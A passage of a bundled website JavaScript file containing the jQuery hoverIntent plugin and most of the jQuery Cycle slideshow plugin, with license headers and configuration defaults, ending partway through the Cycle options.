/* PLUGINS INCLUDED:
 *
 * hoverIntent r5
 * Cycle 2.75
 * jQuery validation 1.6
 * Superfish v1.4.8
 * CurvyCorners 2.0.4
 * Cufon
 * Cufon register font (Aller)
 *
 */
 
 
 // JavaScript Document

/**
* hoverIntent is similar to jQuery's built-in "hover" function except that
* instead of firing the onMouseOver event immediately, hoverIntent checks
* to see if the user's mouse has slowed down (beneath the sensitivity
* threshold) before firing the onMouseOver event.
* 
* hoverIntent r5 // 2007.03.27 // jQuery 1.1.2+
* <http://cherne.net/brian/resources/jquery.hoverIntent.html>
* 
* hoverIntent is currently available for use in all personal or commercial 
* projects under both MIT and GPL licenses. This means that you can choose 
* the license that best suits your project, and use it accordingly.
* 
* // basic usage (just like .hover) receives onMouseOver and onMouseOut functions
* $("ul li").hoverIntent( showNav , hideNav );
* 
* // advanced usage receives configuration object only
* $("ul li").hoverIntent({
*	sensitivity: 7, // number = sensitivity threshold (must be 1 or higher)
*	interval: 100,   // number = milliseconds of polling interval
*	over: showNav,  // function = onMouseOver callback (required)
*	timeout: 0,   // number = milliseconds delay before onMouseOut function call
*	out: hideNav    // function = onMouseOut callback (required)
* });
* 
* @param  f  onMouseOver function || An object with configuration options
* @param  g  onMouseOut function  || Nothing (use configuration options object)
* @author    Brian Cherne <brian@cherne.net>
*/
(function($) {
	$.fn.hoverIntent = function(f,g) {
		// default configuration options
		var cfg = {
			sensitivity: 7,
			interval: 100,
			timeout: 0
		};
		// override configuration options with user supplied object
		cfg = $.extend(cfg, g ? { over: f, out: g } : f );

		// instantiate variables
		// cX, cY = current X and Y position of mouse, updated by mousemove event
		// pX, pY = previous X and Y position of mouse, set by mouseover and polling interval
		var cX, cY, pX, pY;

		// A private function for getting mouse position
		var track = function(ev) {
			cX = ev.pageX;
			cY = ev.pageY;
		};

		// A private function for comparing current and previous mouse position
		var compare = function(ev,ob) {
			ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t);
			// compare mouse positions to see if they've crossed the threshold
			if ( ( Math.abs(pX-cX) + Math.abs(pY-cY) ) < cfg.sensitivity ) {
				$(ob).unbind("mousemove",track);
				// set hoverIntent state to true (so mouseOut can be called)
				ob.hoverIntent_s = 1;
				return cfg.over.apply(ob,[ev]);
			} else {
				// set previous coordinates for next time
				pX = cX; pY = cY;
				// use self-calling timeout, guarantees intervals are spaced out properly (avoids JavaScript timer bugs)
				ob.hoverIntent_t = setTimeout( function(){compare(ev, ob);} , cfg.interval );
			}
		};

		// A private function for delaying the mouseOut function
		var delay = function(ev,ob) {
			ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t);
			ob.hoverIntent_s = 0;
			return cfg.out.apply(ob,[ev]);
		};

		// A private function for handling mouse 'hovering'
		var handleHover = function(e) {
			// next three lines copied from jQuery.hover, ignore children onMouseOver/onMouseOut
			var p = (e.type == "mouseover" ? e.fromElement : e.toElement) || e.relatedTarget;
			while ( p && p != this ) { try { p = p.parentNode; } catch(e) { p = this; } }
			if ( p == this ) { return false; }

			// copy objects to be passed into t (required for event object to be passed in IE)
			var ev = jQuery.extend({},e);
			var ob = this;

			// cancel hoverIntent timer if it exists
			if (ob.hoverIntent_t) { ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t); }

			// else e.type == "onmouseover"
			if (e.type == "mouseover") {
				// set "previous" X and Y position based on initial entry point
				pX = ev.pageX; pY = ev.pageY;
				// update "current" X and Y position based on mousemove
				$(ob).bind("mousemove",track);
				// start polling interval (self-calling timeout) to compare mouse coordinates over time
				if (ob.hoverIntent_s != 1) { ob.hoverIntent_t = setTimeout( function(){compare(ev,ob);} , cfg.interval );}

			// else e.type == "onmouseout"
			} else {
				// unbind expensive mousemove event
				$(ob).unbind("mousemove",track);
				// if hoverIntent state is true, then call the mouseOut function after the specified delay
				if (ob.hoverIntent_s == 1) { ob.hoverIntent_t = setTimeout( function(){delay(ev,ob);} , cfg.timeout );}
			}
		};

		// bind the function to the two event listeners
		return this.mouseover(handleHover).mouseout(handleHover);
	};
})(jQuery);
 
 
 
/*!
 * jQuery Cycle Plugin (with Transition Definitions)
 * Examples and documentation at: http://jquery.malsup.com/cycle/
 * Copyright (c) 2007-2009 M. Alsup
 * Version: 2.73 (04-NOV-2009)
 * Dual licensed under the MIT and GPL licenses:
 * http://www.opensource.org/licenses/mit-license.php
 * http://www.gnu.org/licenses/gpl.html
 * Requires: jQuery v1.2.6 or later
 *
 * Originally based on the work of:
 *	1) Matt Oakes
 *	2) Torsten Baldes (http://medienfreunde.com/lab/innerfade/)
 *	3) Benjamin Sterling (http://www.benjaminsterling.com/experiments/jqShuffle/)
 */
;(function($) {

var ver = '2.73';

// if $.support is not defined (pre jQuery 1.3) add what I need
if ($.support == undefined) {
	$.support = {
		opacity: !($.browser.msie)
	};
}

function debug(s) {
	if ($.fn.cycle.debug)
		log(s);
}		
function log() {
	if (window.console && window.console.log)
		window.console.log('[cycle] ' + Array.prototype.join.call(arguments,' '));
	//$('body').append('<div>'+Array.prototype.join.call(arguments,' ')+'</div>');
};

// the options arg can be...
//   a number  - indicates an immediate transition should occur to the given slide index
//   a string  - 'stop', 'pause', 'resume', or the name of a transition effect (ie, 'fade', 'zoom', etc)
//   an object - properties to control the slideshow
//
// the arg2 arg can be...
//   the name of an fx (only used in conjunction with a numeric value for 'options')
//   the value true (only used in conjunction with a options == 'resume') and indicates
//	 that the resume should occur immediately (not wait for next timeout)

$.fn.cycle = function(options, arg2) {
	var o = { s: this.selector, c: this.context };

	// in 1.3+ we can fix mistakes with the ready state
	if (this.length === 0 && options != 'stop') {
		if (!$.isReady && o.s) {
			log('DOM not ready, queuing slideshow');
			$(function() {
				$(o.s,o.c).cycle(options,arg2);
			});
			return this;
		}
		// is your DOM ready?  http://docs.jquery.com/Tutorials:Introducing_$(document).ready()
		log('terminating; zero elements found by selector' + ($.isReady ? '' : ' (DOM not ready)'));
		return this;
	}

	// iterate the matched nodeset
	return this.each(function() {
		var opts = handleArguments(this, options, arg2);
		if (opts === false)
			return;

		// stop existing slideshow for this container (if there is one)
		if (this.cycleTimeout)
			clearTimeout(this.cycleTimeout);
		this.cycleTimeout = this.cyclePause = 0;

		var $cont = $(this);
		var $slides = opts.slideExpr ? $(opts.slideExpr, this) : $cont.children();
		var els = $slides.get();
		if (els.length < 2) {
			log('terminating; too few slides: ' + els.length);
			return;
		}

		var opts2 = buildOptions($cont, $slides, els, opts, o);
		if (opts2 === false)
			return;

		var startTime = opts2.continuous ? 10 : getTimeout(opts2.currSlide, opts2.nextSlide, opts2, !opts2.rev);

		// if it's an auto slideshow, kick it off
		if (startTime) {
			startTime += (opts2.delay || 0);
			if (startTime < 10)
				startTime = 10;
			debug('first timeout: ' + startTime);
			this.cycleTimeout = setTimeout(function(){go(els,opts2,0,!opts2.rev)}, startTime);
		}
	});
};

// process the args that were passed to the plugin fn
function handleArguments(cont, options, arg2) {
	if (cont.cycleStop == undefined)
		cont.cycleStop = 0;
	if (options === undefined || options === null)
		options = {};
	if (options.constructor == String) {
		switch(options) {
		case 'stop':
			cont.cycleStop++; // callbacks look for change
			if (cont.cycleTimeout)
				clearTimeout(cont.cycleTimeout);
			cont.cycleTimeout = 0;
			$(cont).removeData('cycle.opts');
			return false;
		case 'pause':
			cont.cyclePause = 1;
			return false;
		case 'resume':
			cont.cyclePause = 0;
			if (arg2 === true) { // resume now!
				options = $(cont).data('cycle.opts');
				if (!options) {
					log('options not found, can not resume');
					return false;
				}
				if (cont.cycleTimeout) {
					clearTimeout(cont.cycleTimeout);
					cont.cycleTimeout = 0;
				}
				go(options.elements, options, 1, 1);
			}
			return false;
		case 'prev':
		case 'next':
			var opts = $(cont).data('cycle.opts');
			if (!opts) {
				log('options not found, "prev/next" ignored');
				return false;
			}
			$.fn.cycle[options](opts);
			return false;
		default:
			options = { fx: options };
		};
		return options;
	}
	else if (options.constructor == Number) {
		// go to the requested slide
		var num = options;
		options = $(cont).data('cycle.opts');
		if (!options) {
			log('options not found, can not advance slide');
			return false;
		}
		if (num < 0 || num >= options.elements.length) {
			log('invalid slide index: ' + num);
			return false;
		}
		options.nextSlide = num;
		if (cont.cycleTimeout) {
			clearTimeout(cont.cycleTimeout);
			cont.cycleTimeout = 0;
		}
		if (typeof arg2 == 'string')
			options.oneTimeFx = arg2;
		go(options.elements, options, 1, num >= options.currSlide);
		return false;
	}
	return options;
};

function removeFilter(el, opts) {
	if (!$.support.opacity && opts.cleartype && el.style.filter) {
		try { el.style.removeAttribute('filter'); }
		catch(smother) {} // handle old opera versions
	}
};

// one-time initialization
function buildOptions($cont, $slides, els, options, o) {
	// support metadata plugin (v1.0 and v2.0)
	var opts = $.extend({}, $.fn.cycle.defaults, options || {}, $.metadata ? $cont.metadata() : $.meta ? $cont.data() : {});
	if (opts.autostop)
		opts.countdown = opts.autostopCount || els.length;

	var cont = $cont[0];
	$cont.data('cycle.opts', opts);
	opts.$cont = $cont;
	opts.stopCount = cont.cycleStop;
	opts.elements = els;
	opts.before = opts.before ? [opts.before] : [];
	opts.after = opts.after ? [opts.after] : [];
	opts.after.unshift(function(){ opts.busy=0; });

	// push some after callbacks
	if (!$.support.opacity && opts.cleartype)
		opts.after.push(function() { removeFilter(this, opts); });
	if (opts.continuous)
		opts.after.push(function() { go(els,opts,0,!opts.rev); });

	saveOriginalOpts(opts);

	// clearType corrections
	if (!$.support.opacity && opts.cleartype && !opts.cleartypeNoBg)
		clearTypeFix($slides);

	// container requires non-static position so that slides can be position within
	if ($cont.css('position') == 'static')
		$cont.css('position', 'relative');
	if (opts.width)
		$cont.width(opts.width);
	if (opts.height && opts.height != 'auto')
		$cont.height(opts.height);

	if (opts.startingSlide)
		opts.startingSlide = parseInt(opts.startingSlide);

	// if random, mix up the slide array
	if (opts.random) {
		opts.randomMap = [];
		for (var i = 0; i < els.length; i++)
			opts.randomMap.push(i);
		opts.randomMap.sort(function(a,b) {return Math.random() - 0.5;});
		opts.randomIndex = 0;
		opts.startingSlide = opts.randomMap[0];
	}
	else if (opts.startingSlide >= els.length)
		opts.startingSlide = 0; // catch bogus input
	opts.currSlide = opts.startingSlide = opts.startingSlide || 0;
	var first = opts.startingSlide;

	// set position and zIndex on all the slides
	$slides.css({position: 'absolute', top:0, left:0}).hide().each(function(i) {
		var z = first ? i >= first ? els.length - (i-first) : first-i : els.length-i;
		$(this).css('z-index', z)
	});

	// make sure first slide is visible
	$(els[first]).css('opacity',1).show(); // opacity bit needed to handle restart use case
	removeFilter(els[first], opts);

	// stretch slides
	if (opts.fit && opts.width)
		$slides.width(opts.width);
	if (opts.fit && opts.height && opts.height != 'auto')
		$slides.height(opts.height);

	// stretch container
	var reshape = opts.containerResize && !$cont.innerHeight();
	if (reshape) { // do this only if container has no size http://tinyurl.com/da2oa9
		var maxw = 0, maxh = 0;
		for(var j=0; j < els.length; j++) {
			var $e = $(els[j]), e = $e[0], w = $e.outerWidth(), h = $e.outerHeight();
			if (!w) w = e.offsetWidth;
			if (!h) h = e.offsetHeight;
			maxw = w > maxw ? w : maxw;
			maxh = h > maxh ? h : maxh;
		}
		if (maxw > 0 && maxh > 0)
			$cont.css({width:maxw+'px',height:maxh+'px'});
	}

	if (opts.pause)
		$cont.hover(function(){this.cyclePause++;},function(){this.cyclePause--;});

	if (supportMultiTransitions(opts) === false)
		return false;

	// apparently a lot of people use image slideshows without height/width attributes on the images.
	// Cycle 2.50+ requires the sizing info for every slide; this block tries to deal with that.
	var requeue = false;
	options.requeueAttempts = options.requeueAttempts || 0;
	$slides.each(function() {
		// try to get height/width of each slide
		var $el = $(this);
		this.cycleH = (opts.fit && opts.height) ? opts.height : $el.height();
		this.cycleW = (opts.fit && opts.width) ? opts.width : $el.width();

		if ( $el.is('img') ) {
			// sigh..  sniffing, hacking, shrugging...  this crappy hack tries to account for what browsers do when
			// an image is being downloaded and the markup did not include sizing info (height/width attributes);
			// there seems to be some "default" sizes used in this situation
			var loadingIE	= ($.browser.msie  && this.cycleW == 28 && this.cycleH == 30 && !this.complete);
			var loadingFF	= ($.browser.mozilla && this.cycleW == 34 && this.cycleH == 19 && !this.complete);
			var loadingOp	= ($.browser.opera && ((this.cycleW == 42 && this.cycleH == 19) || (this.cycleW == 37 && this.cycleH == 17)) && !this.complete);
			var loadingOther = (this.cycleH == 0 && this.cycleW == 0 && !this.complete);
			// don't requeue for images that are still loading but have a valid size
			if (loadingIE || loadingFF || loadingOp || loadingOther) {
				if (o.s && opts.requeueOnImageNotLoaded && ++options.requeueAttempts < 100) { // track retry count so we don't loop forever
					log(options.requeueAttempts,' - img slide not loaded, requeuing slideshow: ', this.src, this.cycleW, this.cycleH);
					setTimeout(function() {$(o.s,o.c).cycle(options)}, opts.requeueTimeout);
					requeue = true;
					return false; // break each loop
				}
				else {
					log('could not determine size of image: '+this.src, this.cycleW, this.cycleH);
				}
			}
		}
		return true;
	});

	if (requeue)
		return false;

	opts.cssBefore = opts.cssBefore || {};
	opts.animIn = opts.animIn || {};
	opts.animOut = opts.animOut || {};

	$slides.not(':eq('+first+')').css(opts.cssBefore);
	if (opts.cssFirst)
		$($slides[first]).css(opts.cssFirst);

	if (opts.timeout) {
		opts.timeout = parseInt(opts.timeout);
		// ensure that timeout and speed settings are sane
		if (opts.speed.constructor == String)
			opts.speed = $.fx.speeds[opts.speed] || parseInt(opts.speed);
		if (!opts.sync)
			opts.speed = opts.speed / 2;
		while((opts.timeout - opts.speed) < 250) // sanitize timeout
			opts.timeout += opts.speed;
	}
	if (opts.easing)
		opts.easeIn = opts.easeOut = opts.easing;
	if (!opts.speedIn)
		opts.speedIn = opts.speed;
	if (!opts.speedOut)
		opts.speedOut = opts.speed;

	opts.slideCount = els.length;
	opts.currSlide = opts.lastSlide = first;
	if (opts.random) {
		opts.nextSlide = opts.currSlide;
		if (++opts.randomIndex == els.length)
			opts.randomIndex = 0;
		opts.nextSlide = opts.randomMap[opts.randomIndex];
	}
	else
		opts.nextSlide = opts.startingSlide >= (els.length-1) ? 0 : opts.startingSlide+1;

	// run transition init fn
	if (!opts.multiFx) {
		var init = $.fn.cycle.transitions[opts.fx];
		if ($.isFunction(init))
			init($cont, $slides, opts);
		else if (opts.fx != 'custom' && !opts.multiFx) {
			log('unknown transition: ' + opts.fx,'; slideshow terminating');
			return false;
		}
	}

	// fire artificial events
	var e0 = $slides[first];
	if (opts.before.length)
		opts.before[0].apply(e0, [e0, e0, opts, true]);
	if (opts.after.length > 1)
		opts.after[1].apply(e0, [e0, e0, opts, true]);

	if (opts.next)
		$(opts.next).bind(opts.prevNextEvent,function(){return advance(opts,opts.rev?-1:1)});
	if (opts.prev)
		$(opts.prev).bind(opts.prevNextEvent,function(){return advance(opts,opts.rev?1:-1)});
	if (opts.pager)
		buildPager(els,opts);

	exposeAddSlide(opts, els);

	return opts;
};

// save off original opts so we can restore after clearing state
function saveOriginalOpts(opts) {
	opts.original = { before: [], after: [] };
	opts.original.cssBefore = $.extend({}, opts.cssBefore);
	opts.original.cssAfter  = $.extend({}, opts.cssAfter);
	opts.original.animIn	= $.extend({}, opts.animIn);
	opts.original.animOut   = $.extend({}, opts.animOut);
	$.each(opts.before, function() { opts.original.before.push(this); });
	$.each(opts.after,  function() { opts.original.after.push(this); });
};

function supportMultiTransitions(opts) {
	var i, tx, txs = $.fn.cycle.transitions;
	// look for multiple effects
	if (opts.fx.indexOf(',') > 0) {
		opts.multiFx = true;
		opts.fxs = opts.fx.replace(/\s*/g,'').split(',');
		// discard any bogus effect names
		for (i=0; i < opts.fxs.length; i++) {
			var fx = opts.fxs[i];
			tx = txs[fx];
			if (!tx || !txs.hasOwnProperty(fx) || !$.isFunction(tx)) {
				log('discarding unknown transition: ',fx);
				opts.fxs.splice(i,1);
				i--;
			}
		}
		// if we have an empty list then we threw everything away!
		if (!opts.fxs.length) {
			log('No valid transitions named; slideshow terminating.');
			return false;
		}
	}
	else if (opts.fx == 'all') {  // auto-gen the list of transitions
		opts.multiFx = true;
		opts.fxs = [];
		for (p in txs) {
			tx = txs[p];
			if (txs.hasOwnProperty(p) && $.isFunction(tx))
				opts.fxs.push(p);
		}
	}
	if (opts.multiFx && opts.randomizeEffects) {
		// munge the fxs array to make effect selection random
		var r1 = Math.floor(Math.random() * 20) + 30;
		for (i = 0; i < r1; i++) {
			var r2 = Math.floor(Math.random() * opts.fxs.length);
			opts.fxs.push(opts.fxs.splice(r2,1)[0]);
		}
		debug('randomized fx sequence: ',opts.fxs);
	}
	return true;
};

// provide a mechanism for adding slides after the slideshow has started
function exposeAddSlide(opts, els) {
	opts.addSlide = function(newSlide, prepend) {
		var $s = $(newSlide), s = $s[0];
		if (!opts.autostopCount)
			opts.countdown++;
		els[prepend?'unshift':'push'](s);
		if (opts.els)
			opts.els[prepend?'unshift':'push'](s); // shuffle needs this
		opts.slideCount = els.length;

		$s.css('position','absolute');
		$s[prepend?'prependTo':'appendTo'](opts.$cont);

		if (prepend) {
			opts.currSlide++;
			opts.nextSlide++;
		}

		if (!$.support.opacity && opts.cleartype && !opts.cleartypeNoBg)
			clearTypeFix($s);

		if (opts.fit && opts.width)
			$s.width(opts.width);
		if (opts.fit && opts.height && opts.height != 'auto')
			$slides.height(opts.height);
		s.cycleH = (opts.fit && opts.height) ? opts.height : $s.height();
		s.cycleW = (opts.fit && opts.width) ? opts.width : $s.width();

		$s.css(opts.cssBefore);

		if (opts.pager)
			$.fn.cycle.createPagerAnchor(els.length-1, s, $(opts.pager), els, opts);

		if ($.isFunction(opts.onAddSlide))
			opts.onAddSlide($s);
		else
			$s.hide(); // default behavior
	};
}

// reset internal state; we do this on every pass in order to support multiple effects
$.fn.cycle.resetState = function(opts, fx) {
	fx = fx || opts.fx;
	opts.before = []; opts.after = [];
	opts.cssBefore = $.extend({}, opts.original.cssBefore);
	opts.cssAfter  = $.extend({}, opts.original.cssAfter);
	opts.animIn	= $.extend({}, opts.original.animIn);
	opts.animOut   = $.extend({}, opts.original.animOut);
	opts.fxFn = null;
	$.each(opts.original.before, function() { opts.before.push(this); });
	$.each(opts.original.after,  function() { opts.after.push(this); });

	// re-init
	var init = $.fn.cycle.transitions[fx];
	if ($.isFunction(init))
		init(opts.$cont, $(opts.elements), opts);
};

// this is the main engine fn, it handles the timeouts, callbacks and slide index mgmt
function go(els, opts, manual, fwd) {
	// opts.busy is true if we're in the middle of an animation
	if (manual && opts.busy && opts.manualTrump) {
		// let manual transitions requests trump active ones
		$(els).stop(true,true);
		opts.busy = false;
	}
	// don't begin another timeout-based transition if there is one active
	if (opts.busy)
		return;

	var p = opts.$cont[0], curr = els[opts.currSlide], next = els[opts.nextSlide];

	// stop cycling if we have an outstanding stop request
	if (p.cycleStop != opts.stopCount || p.cycleTimeout === 0 && !manual)
		return;

	// check to see if we should stop cycling based on autostop options
	if (!manual && !p.cyclePause &&
		((opts.autostop && (--opts.countdown <= 0)) ||
		(opts.nowrap && !opts.random && opts.nextSlide < opts.currSlide))) {
		if (opts.end)
			opts.end(opts);
		return;
	}

	// if slideshow is paused, only transition on a manual trigger
	if (manual || !p.cyclePause) {
		var fx = opts.fx;
		// keep trying to get the slide size if we don't have it yet
		curr.cycleH = curr.cycleH || $(curr).height();
		curr.cycleW = curr.cycleW || $(curr).width();
		next.cycleH = next.cycleH || $(next).height();
		next.cycleW = next.cycleW || $(next).width();

		// support multiple transition types
		if (opts.multiFx) {
			if (opts.lastFx == undefined || ++opts.lastFx >= opts.fxs.length)
				opts.lastFx = 0;
			fx = opts.fxs[opts.lastFx];
			opts.currFx = fx;
		}

		// one-time fx overrides apply to:  $('div').cycle(3,'zoom');
		if (opts.oneTimeFx) {
			fx = opts.oneTimeFx;
			opts.oneTimeFx = null;
		}

		$.fn.cycle.resetState(opts, fx);

		// run the before callbacks
		if (opts.before.length)
			$.each(opts.before, function(i,o) {
				if (p.cycleStop != opts.stopCount) return;
				o.apply(next, [curr, next, opts, fwd]);
			});

		// stage the after callacks
		var after = function() {
			$.each(opts.after, function(i,o) {
				if (p.cycleStop != opts.stopCount) return;
				o.apply(next, [curr, next, opts, fwd]);
			});
		};

		if (opts.nextSlide != opts.currSlide) {
			// get ready to perform the transition
			opts.busy = 1;
			if (opts.fxFn) // fx function provided?
				opts.fxFn(curr, next, opts, after, fwd);
			else if ($.isFunction($.fn.cycle[opts.fx])) // fx plugin ?
				$.fn.cycle[opts.fx](curr, next, opts, after);
			else
				$.fn.cycle.custom(curr, next, opts, after, manual && opts.fastOnEvent);
		}

		// calculate the next slide
		opts.lastSlide = opts.currSlide;
		if (opts.random) {
			opts.currSlide = opts.nextSlide;
			if (++opts.randomIndex == els.length)
				opts.randomIndex = 0;
			opts.nextSlide = opts.randomMap[opts.randomIndex];
		}
		else { // sequence
			var roll = (opts.nextSlide + 1) == els.length;
			opts.nextSlide = roll ? 0 : opts.nextSlide+1;
			opts.currSlide = roll ? els.length-1 : opts.nextSlide-1;
		}

		if (opts.pager)
			$.fn.cycle.updateActivePagerLink(opts.pager, opts.currSlide);
	}

	// stage the next transtion
	var ms = 0;
	if (opts.timeout && !opts.continuous)
		ms = getTimeout(curr, next, opts, fwd);
	else if (opts.continuous && p.cyclePause) // continuous shows work off an after callback, not this timer logic
		ms = 10;
	if (ms > 0)
		p.cycleTimeout = setTimeout(function(){ go(els, opts, 0, !opts.rev) }, ms);
};

// invoked after transition
$.fn.cycle.updateActivePagerLink = function(pager, currSlide) {
	$(pager).each(function() {
		$(this).find('a').removeClass('activeSlide').filter('a:eq('+currSlide+')').addClass('activeSlide');
	});
};

// calculate timeout value for current transition
function getTimeout(curr, next, opts, fwd) {
	if (opts.timeoutFn) {
		// call user provided calc fn
		var t = opts.timeoutFn(curr,next,opts,fwd);
		while ((t - opts.speed) < 250) // sanitize timeout
			t += opts.speed;
		debug('calculated timeout: ' + t + '; speed: ' + opts.speed);
		if (t !== false)
			return t;
	}
	return opts.timeout;
};

// expose next/prev function, caller must pass in state
$.fn.cycle.next = function(opts) { advance(opts, opts.rev?-1:1); };
$.fn.cycle.prev = function(opts) { advance(opts, opts.rev?1:-1);};

// advance slide forward or back
function advance(opts, val) {
	var els = opts.elements;
	var p = opts.$cont[0], timeout = p.cycleTimeout;
	if (timeout) {
		clearTimeout(timeout);
		p.cycleTimeout = 0;
	}
	if (opts.random && val < 0) {
		// move back to the previously display slide
		opts.randomIndex--;
		if (--opts.randomIndex == -2)
			opts.randomIndex = els.length-2;
		else if (opts.randomIndex == -1)
			opts.randomIndex = els.length-1;
		opts.nextSlide = opts.randomMap[opts.randomIndex];
	}
	else if (opts.random) {
		if (++opts.randomIndex == els.length)
			opts.randomIndex = 0;
		opts.nextSlide = opts.randomMap[opts.randomIndex];
	}
	else {
		opts.nextSlide = opts.currSlide + val;
		if (opts.nextSlide < 0) {
			if (opts.nowrap) return false;
			opts.nextSlide = els.length - 1;
		}
		else if (opts.nextSlide >= els.length) {
			if (opts.nowrap) return false;
			opts.nextSlide = 0;
		}
	}

	if ($.isFunction(opts.prevNextClick))
		opts.prevNextClick(val > 0, opts.nextSlide, els[opts.nextSlide]);
	go(els, opts, 1, val>=0);
	return false;
};

function buildPager(els, opts) {
	var $p = $(opts.pager);
	$.each(els, function(i,o) {
		$.fn.cycle.createPagerAnchor(i,o,$p,els,opts);
	});
   $.fn.cycle.updateActivePagerLink(opts.pager, opts.startingSlide);
};

$.fn.cycle.createPagerAnchor = function(i, el, $p, els, opts) {
	var a;
	if ($.isFunction(opts.pagerAnchorBuilder))
		a = opts.pagerAnchorBuilder(i,el);
	else
		a = '<a href="#">'+(i+1)+'</a>';
		
	if (!a)
		return;
	var $a = $(a);
	// don't reparent if anchor is in the dom
	if ($a.parents('body').length === 0) {
		var arr = [];
		if ($p.length > 1) {
			$p.each(function() {
				var $clone = $a.clone(true);
				$(this).append($clone);
				arr.push($clone[0]);
			});
			$a = $(arr);
		}
		else {
			$a.appendTo($p);
		}
	}

	$a.bind(opts.pagerEvent, function(e) {
		e.preventDefault();
		opts.nextSlide = i;
		var p = opts.$cont[0], timeout = p.cycleTimeout;
		if (timeout) {
			clearTimeout(timeout);
			p.cycleTimeout = 0;
		}
		if ($.isFunction(opts.pagerClick))
			opts.pagerClick(opts.nextSlide, els[opts.nextSlide]);
		go(els,opts,1,opts.currSlide < i); // trigger the trans
		return false;
	});
	
	if (opts.pagerEvent != 'click')
		$a.click(function(){return false;}); // supress click
	
	if (opts.pauseOnPagerHover)
		$a.hover(function() { opts.$cont[0].cyclePause++; }, function() { opts.$cont[0].cyclePause--; } );
};

// helper fn to calculate the number of slides between the current and the next
$.fn.cycle.hopsFromLast = function(opts, fwd) {
	var hops, l = opts.lastSlide, c = opts.currSlide;
	if (fwd)
		hops = c > l ? c - l : opts.slideCount - l;
	else
		hops = c < l ? l - c : l + opts.slideCount - c;
	return hops;
};

// fix clearType problems in ie6 by setting an explicit bg color
// (otherwise text slides look horrible during a fade transition)
function clearTypeFix($slides) {
	function hex(s) {
		s = parseInt(s).toString(16);
		return s.length < 2 ? '0'+s : s;
	};
	function getBg(e) {
		for ( ; e && e.nodeName.toLowerCase() != 'html'; e = e.parentNode) {
			var v = $.css(e,'background-color');
			if (v.indexOf('rgb') >= 0 ) {
				var rgb = v.match(/\d+/g);
				return '#'+ hex(rgb[0]) + hex(rgb[1]) + hex(rgb[2]);
			}
			if (v && v != 'transparent')
				return v;
		}
		return '#ffffff';
	};
	$slides.each(function() { $(this).css('background-color', getBg(this)); });
};

// reset common props before the next transition
$.fn.cycle.commonReset = function(curr,next,opts,w,h,rev) {
	$(opts.elements).not(curr).hide();
	opts.cssBefore.opacity = 1;
	opts.cssBefore.display = 'block';
	if (w !== false && next.cycleW > 0)
		opts.cssBefore.width = next.cycleW;
	if (h !== false && next.cycleH > 0)
		opts.cssBefore.height = next.cycleH;
	opts.cssAfter = opts.cssAfter || {};
	opts.cssAfter.display = 'none';
	$(curr).css('zIndex',opts.slideCount + (rev === true ? 1 : 0));
	$(next).css('zIndex',opts.slideCount + (rev === true ? 0 : 1));
};

// the actual fn for effecting a transition
$.fn.cycle.custom = function(curr, next, opts, cb, speedOverride) {
	var $l = $(curr), $n = $(next);
	var speedIn = opts.speedIn, speedOut = opts.speedOut, easeIn = opts.easeIn, easeOut = opts.easeOut;
	$n.css(opts.cssBefore);
	if (speedOverride) {
		if (typeof speedOverride == 'number')
			speedIn = speedOut = speedOverride;
		else
			speedIn = speedOut = 1;
		easeIn = easeOut = null;
	}
	var fn = function() {$n.animate(opts.animIn, speedIn, easeIn, cb)};
	$l.animate(opts.animOut, speedOut, easeOut, function() {
		if (opts.cssAfter) $l.css(opts.cssAfter);
		if (!opts.sync) fn();
	});
	if (opts.sync) fn();
};

// transition definitions - only fade is defined here, transition pack defines the rest
$.fn.cycle.transitions = {
	fade: function($cont, $slides, opts) {
		$slides.not(':eq('+opts.currSlide+')').css('opacity',0);
		opts.before.push(function(curr,next,opts) {
			$.fn.cycle.commonReset(curr,next,opts);
			opts.cssBefore.opacity = 0;
		});
		opts.animIn	   = { opacity: 1 };
		opts.animOut   = { opacity: 0 };
		opts.cssBefore = { top: 0, left: 0 };
	}
};

$.fn.cycle.ver = function() { return ver; };

// override these globally if you like (they are all optional)
$.fn.cycle.defaults = {
	fx:			  'fade', // name of transition effect (or comma separated names, ex: fade,scrollUp,shuffle)
	timeout:	   4000,  // milliseconds between slide transitions (0 to disable auto advance)
	timeoutFn:	 null,  // callback for determining per-slide timeout value:  function(currSlideElement, nextSlideElement, options, forwardFlag)
	continuous:	   0,	  // true to start next transition immediately after current one completes
	speed:		   1000,  // speed of the transition (any valid fx speed value)
	speedIn:	   null,  // speed of the 'in' transition
	speedOut:	   null,  // speed of the 'out' transition
	next:		   null,  // selector for element to use as click trigger for next slide
	prev:		   null,  // selector for element to use as click trigger for previous slide
	prevNextClick: null,  // callback fn for prev/next clicks:	function(isNext, zeroBasedSlideIndex, slideElement)
	prevNextEvent:'click',// event which drives the manual transition to the previous or next slide
	pager:		   null,  // selector for element to use as pager container
	pagerClick:	   null,  // callback fn for pager clicks:	function(zeroBasedSlideIndex, slideElement)
	pagerEvent:	  'click', // name of event which drives the pager navigation
	pagerAnchorBuilder: null, // callback fn for building anchor links:  function(index, DOMelement)
	before:		   null,  // transition callback (scope set to element to be shown):	 function(currSlideElement, nextSlideElement, options, forwardFlag)
	after:		   null,  // transition callback (scope set to element that was shown):  function(currSlideElement, nextSlideElement, options, forwardFlag)
	end:		   null,  // callback invoked when the slideshow terminates (use with autostop or nowrap options): function(options)
	easing:		   null,  // easing method for both in and out transitions
	easeIn:		   null,  // easing for "in" transition
	easeOut:	   null,  // easing for "out" transition
	shuffle:	   null,  // coords for shuffle animation, ex: { top:15, left: 200 }
	animIn:		   null,  // properties that define how the slide animates in
	animOut:	   null,  // properties that define how the slide animates out
	cssBefore:	   null,  // properties that define the initial state of the slide before transitioning in
	cssAfter:	   null,  // properties that defined the state of the slide after transitioning out
	fxFn:		   null,  // function used to control the transition: function(currSlideElement, nextSlideElement, options, afterCalback, forwardFlag)
	height:		  'auto', // container height
	startingSlide: 0,	  // zero-based index of the first slide to be displayed
	sync:		   1,	  // true if in/out transitions should occur simultaneously
	random:		   0,	  // true for random, false for sequence (not applicable to shuffle fx)
	fit:		   0,	  // force slides to fit container
	containerResize: 1,	  // resize container to fit largest slide
	pause:		   0,	  // true to enable "pause on hover"
	pauseOnPagerHover: 0, // true to pause when hovering over pager link
	autostop:	   0,	  // true to end slideshow after X transitions (where X == slide count)
	autostopCount: 0,	  // number of transitions (optionally used with autostop to define X)
	delay:		   0,	  // additional delay (in ms) for first transition (hint: can be negative)
	slideExpr:	   null,  // expression for selecting slides (if something other than all children is required)
	cleartype:	   !$.support.opacity,  // true if clearType corrections should be applied (for IE)
